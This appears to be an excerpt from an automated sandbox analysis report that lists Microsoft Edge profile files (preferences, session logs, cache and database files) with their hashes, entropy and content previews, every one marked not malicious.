SHA-512:	DC6C9AFD00D7C2E9B9796FCE1AE7903243C7C44FCD63C927F516306DBC91240C8509D67C1D9A6920D6B4EB892F09E21B7E232FC8CC31475B487B11FD70485617
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_id_migration_state":2,"account_tracker_service_last_update":"13366255156531271","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":914,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":70,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1},"countryid_at_install":17224,"custom_links":{"list":[]},"data_reduction":{"daily_original_length":["0","0","0","0","0","0","0","0","0","0","0","0"

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF3ba39.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9492
Entropy (8bit):	4.940357125216055
Encrypted:	false
SSDEEP:	96:sVYkdBojJ13rb9G8DaYt3gd85Th6Rp9/x+6M8muecXo71eAeCTAe4zvrI2CHQyVl:sVYkd6JJDaYt3G8qpj+F2o7QAl0Ihdf
MD5:	3AF0B23DA1861D91CAC5D189D97EF259
SHA1:	7E1FE040FD4D4467DEAFE9ED15FB9D8E71355D3E
SHA-256:	CA7E6AA82AFD9C237B699AAB747B4A87D14A177223BF6C5A42D7557C39D89AB8
SHA-512:	DC6C9AFD00D7C2E9B9796FCE1AE7903243C7C44FCD63C927F516306DBC91240C8509D67C1D9A6920D6B4EB892F09E21B7E232FC8CC31475B487B11FD70485617
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_id_migration_state":2,"account_tracker_service_last_update":"13366255156531271","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":914,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":70,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1},"countryid_at_install":17224,"custom_links":{"list":[]},"data_reduction":{"daily_original_length":["0","0","0","0","0","0","0","0","0","0","0","0"

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF3ec07.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9492
Entropy (8bit):	4.940357125216055
Encrypted:	false
SSDEEP:	96:sVYkdBojJ13rb9G8DaYt3gd85Th6Rp9/x+6M8muecXo71eAeCTAe4zvrI2CHQyVl:sVYkd6JJDaYt3G8qpj+F2o7QAl0Ihdf
MD5:	3AF0B23DA1861D91CAC5D189D97EF259
SHA1:	7E1FE040FD4D4467DEAFE9ED15FB9D8E71355D3E
SHA-256:	CA7E6AA82AFD9C237B699AAB747B4A87D14A177223BF6C5A42D7557C39D89AB8
SHA-512:	DC6C9AFD00D7C2E9B9796FCE1AE7903243C7C44FCD63C927F516306DBC91240C8509D67C1D9A6920D6B4EB892F09E21B7E232FC8CC31475B487B11FD70485617
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_id_migration_state":2,"account_tracker_service_last_update":"13366255156531271","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":914,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":70,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1},"countryid_at_install":17224,"custom_links":{"list":[]},"data_reduction":{"daily_original_length":["0","0","0","0","0","0","0","0","0","0","0","0"

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\PreferredApps

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	33
Entropy (8bit):	4.051821770808046
Encrypted:	false
SSDEEP:	3:YVXADAEvTLSJ:Y9AcEvHSJ
MD5:	2B432FEF211C69C745ACA86DE4F8E4AB
SHA1:	4B92DA8D4C0188CF2409500ADCD2200444A82FCC
SHA-256:	42B55D126D1E640B1ED7A6BDCB9A46C81DF461FA7E131F4F8C7108C2C61C14DE
SHA-512:	948502DE4DC89A7E9D2E1660451FCD0F44FD3816072924A44F145D821D0363233CC92A377DBA3A0A9F849E3C17B1893070025C369C8120083A622D025FE1EACF
Malicious:	false
Preview:	{"preferred_apps":[],"version":1}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	25012
Entropy (8bit):	5.566592775938074
Encrypted:	false
SSDEEP:	768:QkFG57WPG0fSt8F1+UoAYDCx9Tuqh0VfUC9xbog/OVdY0V2rwepQtuf:QkFG57WPG0fStu1jagrVTBtE
MD5:	14767E467A4FF6FC913558D7522E3B28
SHA1:	EF3139F645BD77890F34F1BDF6FB3AC351CA2398
SHA-256:	EAF813E70CD3C08A8F6B615F28459DA482588F477A4728D71698F32D4FF66706
SHA-512:	AEB60A21E79CE7E7079B1EF493CF38F0D20B33F3A3A81F1BC2EDCEF74C7A1972B3543338B96A1EE10B1DD328E0D63ABA091D95B41E926AB30F7F0A51F0AC42F1
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13366255155905546","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13366255155905546","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences~RF3347e.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	25012
Entropy (8bit):	5.566592775938074
Encrypted:	false
SSDEEP:	768:QkFG57WPG0fSt8F1+UoAYDCx9Tuqh0VfUC9xbog/OVdY0V2rwepQtuf:QkFG57WPG0fStu1jagrVTBtE
MD5:	14767E467A4FF6FC913558D7522E3B28
SHA1:	EF3139F645BD77890F34F1BDF6FB3AC351CA2398
SHA-256:	EAF813E70CD3C08A8F6B615F28459DA482588F477A4728D71698F32D4FF66706
SHA-512:	AEB60A21E79CE7E7079B1EF493CF38F0D20B33F3A3A81F1BC2EDCEF74C7A1972B3543338B96A1EE10B1DD328E0D63ABA091D95B41E926AB30F7F0A51F0AC42F1
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13366255155905546","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13366255155905546","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences~RF36080.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	25012
Entropy (8bit):	5.566592775938074
Encrypted:	false
SSDEEP:	768:QkFG57WPG0fSt8F1+UoAYDCx9Tuqh0VfUC9xbog/OVdY0V2rwepQtuf:QkFG57WPG0fStu1jagrVTBtE
MD5:	14767E467A4FF6FC913558D7522E3B28
SHA1:	EF3139F645BD77890F34F1BDF6FB3AC351CA2398
SHA-256:	EAF813E70CD3C08A8F6B615F28459DA482588F477A4728D71698F32D4FF66706
SHA-512:	AEB60A21E79CE7E7079B1EF493CF38F0D20B33F3A3A81F1BC2EDCEF74C7A1972B3543338B96A1EE10B1DD328E0D63ABA091D95B41E926AB30F7F0A51F0AC42F1
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13366255155905546","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13366255155905546","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	364
Entropy (8bit):	4.028766709566927
Encrypted:	false
SSDEEP:	6:S85aEFljljljljljljlnbtlaD2af02dww+CA5EEE:S+a8ljljljljljljlnpUX0y+CA
MD5:	DE93F893AE57C81240820D423FD74CC4
SHA1:	AA74E9F30B73057EF8580BFC841FCF8FBAD71F15
SHA-256:	06DBBF92B0AF29F8B1DA9F424C092BF9536068C90EBD2AAD77680E62238CCB3F
SHA-512:	0F217290B87D0F63A7FD00C05DC72DB1594A0D137124B3E01E030DE3993C2A9E5FF1391D8F6F4A223B1C9BE814AEB3F4DC6A98629CE608660F72F8CB8D5E8C7E
Malicious:	false
Preview:	*...#................version.1..namespace-..&f.................&f.................&f.................&f.................&f.................&f.................&f...................j................next-map-id.1.Knamespace-9c6fc077_eadc_484c_a622_a73d7b8f7c81-https://accounts.google.com/.0V.e................V.e................V.e................V.e................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	322
Entropy (8bit):	5.182785808660367
Encrypted:	false
SSDEEP:	6:BMWQtyPlL+q2Pwkn23oH+TcwtrQMxIFUt84MWQt811Zmw+4MWQtLjLVkwOwkn23X:BQUPlyvYfYebCFUt8mQiX/+mQ9R5JfYM
MD5:	8CC61E775BA3CC67071F63F3AB405A62
SHA1:	84783E4EC15999A163BDFE084FC483AF5FC18D38
SHA-256:	4EFB491655357D97ED2C92092961687E5A6FA15D344A748FB9182A962AE8E0D9
SHA-512:	B1BBC9BC4779840AEC91C48458B5440A5E0BF47F50837327A081E40AB2F395DFAEF608148C20F2D33F7B5F0CD02EF256371E7C0B92FA90B22017E9CF3B8D4A60
Malicious:	false
Preview:	2024/07/23-20:39:16.976 21c8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/MANIFEST-000001.2024/07/23-20:39:16.978 21c8 Recovering log #3.2024/07/23-20:39:16.980 21c8 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	322
Entropy (8bit):	5.182785808660367
Encrypted:	false
SSDEEP:	6:BMWQtyPlL+q2Pwkn23oH+TcwtrQMxIFUt84MWQt811Zmw+4MWQtLjLVkwOwkn23X:BQUPlyvYfYebCFUt8mQiX/+mQ9R5JfYM
MD5:	8CC61E775BA3CC67071F63F3AB405A62
SHA1:	84783E4EC15999A163BDFE084FC483AF5FC18D38
SHA-256:	4EFB491655357D97ED2C92092961687E5A6FA15D344A748FB9182A962AE8E0D9
SHA-512:	B1BBC9BC4779840AEC91C48458B5440A5E0BF47F50837327A081E40AB2F395DFAEF608148C20F2D33F7B5F0CD02EF256371E7C0B92FA90B22017E9CF3B8D4A60
Malicious:	false
Preview:	2024/07/23-20:39:16.976 21c8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/MANIFEST-000001.2024/07/23-20:39:16.978 21c8 Recovering log #3.2024/07/23-20:39:16.980 21c8 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sessions\Session_13366255158477001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	8437
Entropy (8bit):	4.101961496943454
Encrypted:	false
SSDEEP:	96:3xQpE9YDW9l/jHQhvpchEDW9l/TQhvpGDW9l/5eteQhvpNaqm:3SK9YC/jHEpHC/TEpGC/5e0EpN
MD5:	8637B548F42DAE603F8FF393803C6817
SHA1:	056BBE6CD0557DDA7C25E3F79475E6D1D5E5B500
SHA-256:	A1E7CEDFECC5FB22074BF9E797462EF57F606AF3CEC1BC3F2FAB563EA5CD866F
SHA-512:	BBE25BCE0A01DD6160DB7CB40729C2CD8FD888CB83753D283A978B2EB9A64D6F92EF1824EC1DE89977161B7FEE88CC5951287B9D4A7A055D38FEC0F17BD8AC01
Malicious:	false
Preview:	SNSS.........r.............r......"..r.............r.........r.........r.........r....!....r.................................r..r1..,.....r$...9c6fc077_eadc_484c_a622_a73d7b8f7c81.....r.........r.....{0..........r.....r.........................r....................5..0.....r&...{1A5CCF63-1000-409F-B5C1-AFEC7F75D4D9}.......r............r.........................r.............r........https://accounts.google.com/v3/signin/identifier?continue=https%3A%2F%2Fwww.youtube.com%2Fsignin%3Faction_handle_signin%3Dtrue%26app%3Ddesktop%26hl%3Den-GB%26next%3Dhttps%253A%252F%252Fwww.youtube.com%252Faccount%26feature%3Dredirect_login&hl=en-GB&ifkv=AdF4I74zx8_Z5b9BmaycfcAffi2cTGq0tLXBXxVf0r2et37MBtpdR4ZTEsEFD-dr7RQOEOxwNobfvg&passive=true&service=youtube&uilel=3&flowName=GlifWebSignIn&flowEntry=ServiceLogin&dsh=S923239657%3A1721781562960901&ddm=0.....Y.o.u.T.u.b.e...\...X...!...P........................................................... ...............(.......................}.k..

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Shortcuts

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.44194574462308833
Encrypted:	false
SSDEEP:	12:TLiNCcUMskMVcIWGhWxBzEXx7AAQlvsdFxOUwa5qgufTJpbZ75fOS:TLisVMnYPhIY5Qlvsd6UwccNp15fB
MD5:	B35F740AA7FFEA282E525838EABFE0A6
SHA1:	A67822C17670CCE0BA72D3E9C8DA0CE755A3421A
SHA-256:	5D599596D116802BAD422497CF68BE59EEB7A9135E3ED1C6BEACC48F73827161
SHA-512:	05C0D33516B2C1AB6928FB34957AD3E03CB0A8B7EEC0FD627DD263589655A16DEA79100B6CC29095C3660C95FD2AFB2E4DD023F0597BD586DD664769CABB67F8
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g....."....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	350
Entropy (8bit):	5.147902464167545
Encrypted:	false
SSDEEP:	6:BMWQZq2Pwkn23oH+Tcwt7Uh2ghZIFUt84MWQkZmw+4MWQEkwOwkn23oH+Tcwt7UT:BQZvYfYebIhHh2FUt8mQk/+mQE5JfYeQ
MD5:	0290E7C99D2B0C9BF8407EFA79AD19A7
SHA1:	DA8A5B9C14BDCA8875FCD366D8534BD9C7D846A8
SHA-256:	B499C8982A0FAF683801D77E3D1F8B9DC0E625060BCB6D4C08F3650443E87910
SHA-512:	A4667F0A68E634BF97874BF938233A6682ACEF7B690DA8CC08D8000FE4291E9A90F027E3734D8A43861AF68023921E41BDE407D091F8E50D080117842F9CAEB2
Malicious:	false
Preview:	2024/07/23-20:39:16.029 2054 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/MANIFEST-000001.2024/07/23-20:39:16.029 2054 Recovering log #3.2024/07/23-20:39:16.029 2054 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	350
Entropy (8bit):	5.147902464167545
Encrypted:	false
SSDEEP:	6:BMWQZq2Pwkn23oH+Tcwt7Uh2ghZIFUt84MWQkZmw+4MWQEkwOwkn23oH+Tcwt7UT:BQZvYfYebIhHh2FUt8mQk/+mQE5JfYeQ
MD5:	0290E7C99D2B0C9BF8407EFA79AD19A7
SHA1:	DA8A5B9C14BDCA8875FCD366D8534BD9C7D846A8
SHA-256:	B499C8982A0FAF683801D77E3D1F8B9DC0E625060BCB6D4C08F3650443E87910
SHA-512:	A4667F0A68E634BF97874BF938233A6682ACEF7B690DA8CC08D8000FE4291E9A90F027E3734D8A43861AF68023921E41BDE407D091F8E50D080117842F9CAEB2
Malicious:	false
Preview:	2024/07/23-20:39:16.029 2054 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/MANIFEST-000001.2024/07/23-20:39:16.029 2054 Recovering log #3.2024/07/23-20:39:16.029 2054 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Cache\Cache_Data\data_0

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	FoxPro FPT, blocks size 512, next free block index 3284796609, field type 0
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	0.01057775872642915
Encrypted:	false
SSDEEP:	3:MsFl:/F
MD5:	CF89D16BB9107C631DAABF0C0EE58EFB
SHA1:	3AE5D3A7CF1F94A56E42F9A58D90A0B9616AE74B
SHA-256:	D6A5FE39CD672781B256E0E3102F7022635F1D4BB7CFCC90A80FFFE4D0F3877E
SHA-512:	8CB5B059C8105EB91E74A7D5952437AAA1ADA89763C5843E7B0F1B93D9EBE15ED40F287C652229291FAC02D712CF7FF5ECECEF276BA0D7DDC35558A3EC3F77B0
Malicious:	false
Preview:	............$...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Cache\Cache_Data\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	8.280239615765425E-4
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2:/M/xT02
MD5:	D0D388F3865D0523E451D6BA0BE34CC4
SHA1:	8571C6A52AACC2747C048E3419E5657B74612995
SHA-256:	902F30C1FB0597D0734BC34B979EC5D131F8F39A4B71B338083821216EC8D61B
SHA-512:	376011D00DE659EB6082A74E862CFAC97A9BB508E0B740761505142E2D24EC1C30AA61EFBC1C0DD08FF0F34734444DE7F77DD90A6CA42B48A4C7FAD5F0BDDD17
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Cache\Cache_Data\data_2

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	0.011852361981932763
Encrypted:	false
SSDEEP:	3:MsHlDll:/H
MD5:	0962291D6D367570BEE5454721C17E11
SHA1:	59D10A893EF321A706A9255176761366115BEDCB
SHA-256:	EC1702806F4CC7C42A82FC2B38E89835FDE7C64BB32060E0823C9077CA92EFB7
SHA-512:	F555E961B69E09628EAF9C61F465871E6984CD4D31014F954BB747351DAD9CEA6D17C1DB4BCA2C1EB7F187CB5F3C0518748C339C8B43BBD1DBD94AEAA16F58ED
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Cache\Cache_Data\data_3

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	0.012340643231932763
Encrypted:	false
SSDEEP:	3:MsGl3ll:/y
MD5:	41876349CB12D6DB992F1309F22DF3F0
SHA1:	5CF26B3420FC0302CD0A71E8D029739B8765BE27
SHA-256:	E09F42C398D688DCE168570291F1F92D079987DEDA3099A34ADB9E8C0522B30C
SHA-512:	E9A4FC1F7CB6AE2901F8E02354A92C4AAA7A53C640DCF692DB42A27A5ACC2A3BFB25A0DE0EB08AB53983132016E7D43132EA4292E439BB636AAFD53FB6EF907E
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Cache\Cache_Data\index

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	FoxPro FPT, blocks size 768, next free block index 3284796353, field type 0
Category:	dropped
Size (bytes):	524656
Entropy (8bit):	4.989325630401085E-4
Encrypted:	false
SSDEEP:	3:Lsul:Ls
MD5:	AA920129E3AB39F77DF3243E29C32669
SHA1:	8B1D176B1EBA1258C2712DB8D0B555F39FB37F16
SHA-256:	D9A86263B5CF1B7ABCFF9D036536CA38DF60B7BA351C54D35300FF04B7067383
SHA-512:	7ED3DC823DA1665EA615A39A34EEEDCDE0F019DEBDE459FD0D419560D6CE8A5F6B7F7D03B3A57E6021215AFB621543A059C63B0D748199E5E91737AF5F18DD05
Malicious:	false
Preview:	.........................................M..\|/.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\DawnCache\data_0

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	FoxPro FPT, blocks size 512, next free block index 3284796609, field type 0
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	0.01057775872642915
Encrypted:	false
SSDEEP:	3:MsFl:/F
MD5:	CF89D16BB9107C631DAABF0C0EE58EFB
SHA1:	3AE5D3A7CF1F94A56E42F9A58D90A0B9616AE74B
SHA-256:	D6A5FE39CD672781B256E0E3102F7022635F1D4BB7CFCC90A80FFFE4D0F3877E
SHA-512:	8CB5B059C8105EB91E74A7D5952437AAA1ADA89763C5843E7B0F1B93D9EBE15ED40F287C652229291FAC02D712CF7FF5ECECEF276BA0D7DDC35558A3EC3F77B0
Malicious:	false
Preview:	............$...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\DawnCache\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	0.0012471779557650352
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2zE:/M/xT02z
MD5:	F50F89A0A91564D0B8A211F8921AA7DE
SHA1:	112403A17DD69D5B9018B8CEDE023CB3B54EAB7D
SHA-256:	B1E963D702392FB7224786E7D56D43973E9B9EFD1B89C17814D7C558FFC0CDEC
SHA-512:	BF8CDA48CF1EC4E73F0DD1D4FA5562AF1836120214EDB74957430CD3E4A2783E801FA3F4ED2AFB375257CAEED4ABE958265237D6E0AACF35A9EDE7A2E8898D58
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\DawnCache\data_2

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	0.011852361981932763
Encrypted:	false
SSDEEP:	3:MsHlDll:/H
MD5:	0962291D6D367570BEE5454721C17E11
SHA1:	59D10A893EF321A706A9255176761366115BEDCB
SHA-256:	EC1702806F4CC7C42A82FC2B38E89835FDE7C64BB32060E0823C9077CA92EFB7
SHA-512:	F555E961B69E09628EAF9C61F465871E6984CD4D31014F954BB747351DAD9CEA6D17C1DB4BCA2C1EB7F187CB5F3C0518748C339C8B43BBD1DBD94AEAA16F58ED
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\DawnCache\data_3

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	0.012340643231932763
Encrypted:	false
SSDEEP:	3:MsGl3ll:/y
MD5:	41876349CB12D6DB992F1309F22DF3F0
SHA1:	5CF26B3420FC0302CD0A71E8D029739B8765BE27
SHA-256:	E09F42C398D688DCE168570291F1F92D079987DEDA3099A34ADB9E8C0522B30C
SHA-512:	E9A4FC1F7CB6AE2901F8E02354A92C4AAA7A53C640DCF692DB42A27A5ACC2A3BFB25A0DE0EB08AB53983132016E7D43132EA4292E439BB636AAFD53FB6EF907E
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\DawnCache\index

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	FoxPro FPT, blocks size 768, next free block index 3284796353, field type 0
Category:	dropped
Size (bytes):	262512
Entropy (8bit):	9.47693366977411E-4
Encrypted:	false
SSDEEP:	3:LsNlb+4:Ls3C
MD5:	D2E1BB8A859A93D14FC966A18C3161AF
SHA1:	9C2C268D3866C0D5B8787CF63108AD54583AEEF8
SHA-256:	068D286CF1B466A1C679C6EC95234D32DF0810871D3AA59139FFBE2D90AA8016
SHA-512:	16BF1E3E1DD9026A77354B5C7CADFC503E33D46B118B6FE9034E72F5AB9FC085A9F729720FFB90D6B7EE7CA9E27D704DBA43AF837A551191E17B831932505D74
Malicious:	false
Preview:	........................................l...\|/.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

